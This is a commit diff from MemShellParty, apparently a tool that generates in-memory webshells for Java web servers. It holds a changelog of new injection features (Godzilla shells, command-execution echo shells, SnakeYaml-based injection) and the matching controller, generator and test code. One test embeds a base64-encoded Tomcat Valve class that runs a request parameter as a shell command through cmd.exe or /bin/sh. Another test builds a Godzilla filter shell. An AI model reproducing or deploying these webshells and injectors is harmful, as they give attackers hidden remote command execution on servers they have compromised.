Dev

.github/workflows/dev-deploy.yaml

@@ -35,7 +35,7 @@ jobs:
         run: bun install --frozen-lockfile && bun run build
 
       - name: Build Boot with Gradle
-        run: ./gradlew :boot:bootjar -x test
+        run: ./gradlew :boot:test :boot:bootjar
 
       - name: Upload Boot Jar
         uses: actions/upload-artifact@v4

CHANGELOG.md

@@ -5,6 +5,32 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0)
+
+### Added
+
+1. 内存马注入器接上回显 toString 打印 contextPath 等注入成功或错误信息
+2. boot 新增通过字节码 base64 获取类名接口，并支持自定义内存马使用随机类名或原始类名
+3. 适配 Apusic 9.0.1 版本（金蝶 EAS Cloud）
+4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
+5. 支持注入器或回显马添加静态代码块执行构造方法调用，解决部分场景下无法手动调用构造方法
+6. 支持 SpringWebMVC 回显马生成
+7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
+8. 支持 ScriptEngineJar 打包方式（SnakeYaml 漏洞注入）
+9. 支持脚本引擎执行回显马生成，方便调试
+
+### Fixed
+
+1. 修复自定义内存马生成报错
+2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉 
+3. 默认哥斯拉内存马去除对 session 的依赖，解决部分场景下 session 为 null 导致无法连接
+
+### Changed
+
+1. 依赖更新
+2. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
+3. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
+
 ## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
 
 ### Added

boot/build.gradle.kts

@@ -1,6 +1,6 @@
 plugins {
     id("java")
-    id("org.springframework.boot") version "3.5.3"
+    id("org.springframework.boot") version "3.5.7"
     id("io.spring.dependency-management") version "1.1.7"
 }
 
@@ -23,7 +23,6 @@ configurations {
 
 dependencies {
     implementation(project(":generator")) {
-        exclude(group = "org.apache.tomcat", module = "tomcat-catalina")
         exclude(group = "commons-logging", module = "commons-logging")
     }
     implementation(project(":packer")) {

boot/src/main/java/com/reajason/javaweb/boot/controller/ClassNameParseController.java

@@ -0,0 +1,24 @@
+package com.reajason.javaweb.boot.controller;
+
+import org.springframework.asm.ClassReader;
+import org.springframework.cglib.core.ClassNameReader;
+import org.springframework.web.bind.annotation.CrossOrigin;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.util.Base64;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/10
+ */
+@RestController
+@CrossOrigin("*")
+public class ClassNameParseController {
+
+    @PostMapping("/className")
+    public String className(@RequestBody String classBase64) {
+        return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
+    }
+}

boot/src/main/java/com/reajason/javaweb/boot/controller/MemShellGeneratorController.java

@@ -8,8 +8,8 @@
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.packer.AggregatePacker;
+import com.reajason.javaweb.packer.JarPacker;
 import com.reajason.javaweb.packer.Packer;
-import com.reajason.javaweb.packer.jar.JarPacker;
 import org.springframework.web.bind.annotation.*;
 
 import java.util.Base64;
@@ -29,12 +29,12 @@ public MemShellGenerateResponse generate(@RequestBody MemShellGenerateRequest re
         InjectorConfig injectorConfig = request.getInjectorConfig();
         MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
         Packer packer = request.getPacker().getInstance();
+        if (packer instanceof AggregatePacker) {
+            return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
+        }
         if (packer instanceof JarPacker) {
             return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
-        } else if (packer instanceof AggregatePacker) {
-            return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
-        } else {
-            return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
         }
+        return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
     }
 }

boot/src/main/java/com/reajason/javaweb/boot/dto/MemShellGenerateRequest.java

@@ -2,9 +2,7 @@
 
 import com.reajason.javaweb.memshell.config.*;
 import com.reajason.javaweb.packer.Packers;
-import com.reajason.javaweb.utils.CommonUtil;
 import lombok.Data;
-import org.apache.commons.lang3.StringUtils;
 
 import static com.reajason.javaweb.memshell.ShellTool.*;
 
@@ -20,7 +18,7 @@ public class MemShellGenerateRequest {
     private Packers packer;
 
     @Data
-    static class ShellToolConfigDTO {
+    public static class ShellToolConfigDTO {
         private String shellClassName;
         private String godzillaPass;
         private String godzillaKey;

boot/src/main/java/com/reajason/javaweb/boot/dto/ProbeShellGenerateRequest.java

@@ -21,7 +21,6 @@ static class ProbeContentConfigDTO {
         private String server;
         private String sleepServer;
         private String reqParamName;
-        private String reqHeaderName;
     }
 
     public ProbeContentConfig parseProbeContentConfig() {
@@ -35,7 +34,6 @@ public ProbeContentConfig parseProbeContentConfig() {
                     .build();
             case ResponseBody -> ResponseBodyConfig.builder()
                     .reqParamName(probeContentConfig.reqParamName)
-                    .reqHeaderName(probeContentConfig.reqHeaderName)
                     .server(probeContentConfig.server)
                     .build();
             default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());

boot/src/test/java/com/reajason/javaweb/boot/controller/ClassNameParseControllerTest.java

@@ -0,0 +1,18 @@
+package com.reajason.javaweb.boot.controller;
+
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * @author ReaJason
+ * @since 2025/11/10
+ */
+class ClassNameParseControllerTest {
+    @Test
+    void test(){
+        ClassNameParseController classNameParseController = new ClassNameParseController();
+        String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
+        assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
+    }
+}

boot/src/test/java/com/reajason/javaweb/boot/controller/ConfigControllerIntegrationTest.java

@@ -27,30 +27,21 @@ public class ConfigControllerIntegrationTest {
     @Test
     public void testConfigEndpoint() {
         ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
-
         assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        Map body = response.getBody();
-        assertNotNull(body);
+        assertNotNull(response.getBody());
     }
 
     @Test
     public void testConfigServersEndpoint() {
         ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
-
         assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        Map body = response.getBody();
-        assertNotNull(body);
+        assertNotNull(response.getBody());
     }
 
     @Test
     public void testConfigPackersEndpoint() {
         ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
-
         assertEquals(HttpStatus.OK, response.getStatusCode());
-
-        List<String> body = response.getBody();
-        assertNotNull(body);
+        assertNotNull(response.getBody());
     }
 }

boot/src/test/java/com/reajason/javaweb/boot/controller/MemShellGeneratorControllerTest.java

@@ -0,0 +1,58 @@
+package com.reajason.javaweb.boot.controller;
+
+import com.reajason.javaweb.Server;
+import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
+import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
+import com.reajason.javaweb.memshell.ShellTool;
+import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
+import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.packer.Packers;
+import org.junit.jupiter.api.Test;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.boot.test.context.SpringBootTest;
+import org.springframework.boot.test.web.client.TestRestTemplate;
+import org.springframework.http.HttpStatus;
+import org.springframework.http.ResponseEntity;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/16
+ */
+@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
+class MemShellGeneratorControllerTest {
+
+    @Autowired
+    TestRestTemplate restTemplate;
+
+    @Test
+    void generateShell() {
+        MemShellGenerateRequest request = new MemShellGenerateRequest();
+        request.setShellConfig(ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.FILTER)
+                .shellTool(ShellTool.Godzilla)
+                .shrink(true)
+                .debug(true)
+                .serverVersion("Unknown")
+                .targetJreVersion(50)
+                .build());
+        request.setInjectorConfig(InjectorConfig.builder()
+                .urlPattern("/*")
+                .build());
+        request.setPacker(Packers.ScriptEngine);
+        MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
+        shellToolConfigDTO.setGodzillaKey("key");
+        shellToolConfigDTO.setGodzillaPass("pass");
+        shellToolConfigDTO.setHeaderName("User-Agent");
+        shellToolConfigDTO.setHeaderValue("hello");
+        request.setShellToolConfig(shellToolConfigDTO);
+        ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
+                "/memshell/generate", request, MemShellGenerateResponse.class);
+        assertEquals(HttpStatus.OK, response.getStatusCode());
+        assertNotNull(response.getBody());
+    }
+}

build.gradle.kts

@@ -9,7 +9,7 @@ idea {
     }
 }
 
-version = "2.1.0"
+version = "2.2.0-SNAPSHOT"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

@@ -24,15 +24,6 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
         if (server == null) {
             throw new GenerationException("Unsupported server: " + serverName);
         }
-
-        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
-            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
-        }
-
-        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
-            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
-        }
-
         Class<?> injectorClass = null;
 
         if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
@@ -47,6 +38,14 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
             shellToolConfig.setShellClass(shellClass);
         }
 
+        if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
+            shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(serverName, shellConfig.getShellType()));
+        }
+
+        if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
+            injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
+        }
+
         byte[] shellBytes = ShellToolFactory.generateBytes(shellConfig, shellToolConfig);
 
         injectorConfig.setInjectorClass(injectorClass);

generator/src/main/java/com/reajason/javaweb/memshell/config/InjectorConfig.java

@@ -46,4 +46,9 @@ public class InjectorConfig {
      * 内存马类字节
      */
     private byte[] shellClassBytes;
+
+    /**
+     * 添加静态代码块调用构造方法初始化
+     */
+    private boolean staticInitialize;
 }

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java

@@ -1,9 +1,11 @@
 package com.reajason.javaweb.memshell.config;
 
+import com.fasterxml.jackson.annotation.JsonIgnore;
 import lombok.AllArgsConstructor;
 import lombok.Data;
 import lombok.NoArgsConstructor;
 import lombok.experimental.SuperBuilder;
+import net.bytebuddy.description.type.TypeDescription;
 
 /**
  * @author ReaJason
@@ -19,6 +21,9 @@ public class ShellToolConfig {
      */
     private Class<?> shellClass;
 
+    @JsonIgnore
+    private transient TypeDescription shellTypeDescription;
+
     /**
      * shellClass 的类名
      */

generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java

@@ -1,6 +1,7 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.ShellGenerator;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -10,6 +11,7 @@
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.memshell.server.AbstractServer;
+import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 
 /**
@@ -29,15 +31,21 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
 
     @Override
     public byte[] getBytes() {
-        Class<?> shellClass = shellToolConfig.getShellClass();
-        String shellClassName = shellToolConfig.getShellClassName();
         DynamicType.Builder<?> builder = getBuilder();
+        String shellClassName = shellToolConfig.getShellClassName();
+        Class<?> shellClass = shellToolConfig.getShellClass();
+        if (shellClass != null) {
+            shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
+        }
+        if (shellToolConfig.getShellTypeDescription() == null) {
+            throw new GenerationException("shellClass or shellTypeDescription could not be null.");
+        }
 
         String shellType = shellConfig.getShellType();
         AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
 
         if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
-            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
+            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
         }
 
         if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {